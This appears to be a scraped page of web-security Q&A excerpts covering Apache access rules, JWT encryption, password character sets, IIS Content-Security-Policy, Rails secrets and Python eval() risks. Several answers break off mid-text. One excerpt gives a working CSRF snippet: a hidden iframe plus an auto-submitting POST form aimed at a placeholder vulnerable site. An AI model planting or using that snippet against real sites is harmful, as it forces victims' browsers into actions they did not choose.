Apache – How to deny directory but allow one file in that directory
It works perfectly if it is configured properly: <Directory /var/www/denied_directory> Order allow,deny <Files test.php> Order deny,allow </Files> </Directory>
security
Example of silently submitting a POST FORM (CSRF)
One solution would be to open the form’s action in a frame like an iframe: <iframe style=”display:none” name=”csrf-frame”></iframe> <form method=’POST’ action=’http://vulnerablesite.com/form.php’ target=”csrf-frame” id=”csrf-form”> <input type=”hidden” name=”criticaltoggle” value=”true”> <input type=”submit” value=”submit”> </form> <script>document.getElementById(“csrf-form”).submit()</script>
How to encrypt JWT security token?
I know this an old post, but I am adding my answer in case if someone is still searching for the answer. This issue is addressed in Microsoft.IdentityModel.Tokens version 5.1.3. There is an overloaded method available in the CreateJwtSecurityToken function which accepts the encrypting credentials to encrypt the token. If the receiver does not validate … Read more
Characters to avoid in automatically generated passwords
Here are the character sets that Steve Gibson uses for his “Perfect Paper Password” system. They are “characters to allow” rather than “characters to avoid”, but they seem pretty reasonable for what you want: A standard set of 64 characters !#%+23456789:=?@ABCDEFGHJKLMNPRS TUVWXYZabcdefghijkmnopqrstuvwxyz A larger set of 88 characters !”#$%&'()*+,-./23456789:;<=>?@ABCDEFGHJKLMNO PRSTUVWXYZ[\]^_abcdefghijkmnopqrstuvwxyz{|}~ For pronounceable passwords, I’m not … Read more
Config your IIS server to use the “Content-Security-Policy” header
From Ian Oxley’s Sitepoint article – Improving Web Security with the Content Security Policy, it would seem that you define your Content Security Policy (and, in turn, populate those headers) directly in your IIS configuration file. The example given in the linked post, <system.webServer> <httpProtocol> <customHeaders> <add name=”Content-Security-Policy” value=”default-src ‘self’;” /> </customHeaders> </httpProtocol> </system.webServer> demonstrates … Read more
How to use secrets.yml for API_KEYS in Rails 4.1?
First rule: DO NOT CHECK-IN secrets.yml into the repo. All right, here’s how a secret.yml would look: development: secret_key_base: 6a1ada9d8e377c8fad5e530d6e0a1daa3d17e43ee… # Paste output of $ rake secret here for your dev machine. test: secret_key_base: _your_secret_ as above production: secret_key_base: <%= secure_token %> STRIPE_PUBLISHABLE_KEY: ‘Put your stripe keys for production’ STRIPE_SECRET_KEY: ‘Put actual keys for production … Read more
Security of Python’s eval() on untrusted strings?
eval() will allow malicious data to compromise your entire system, kill your cat, eat your dog and make love to your wife. There was recently a thread about how to do this kind of thing safely on the python-dev list, and the conclusions were: It’s really hard to do this properly. It requires patches to … Read more
How to disable directory indexing from apache2 when going to the server’s root?
Edit your apache2 configuration file which normally is on the dir: “/etc/apache2/httpd.conf”. Add the following or edit if your already have some configurations for the default web server dir (/var/www): <Directory /var/www> Options -Indexes AllowOverride All Order allow,deny Allow from all </Directory> This will disable the indexing to all the public directories.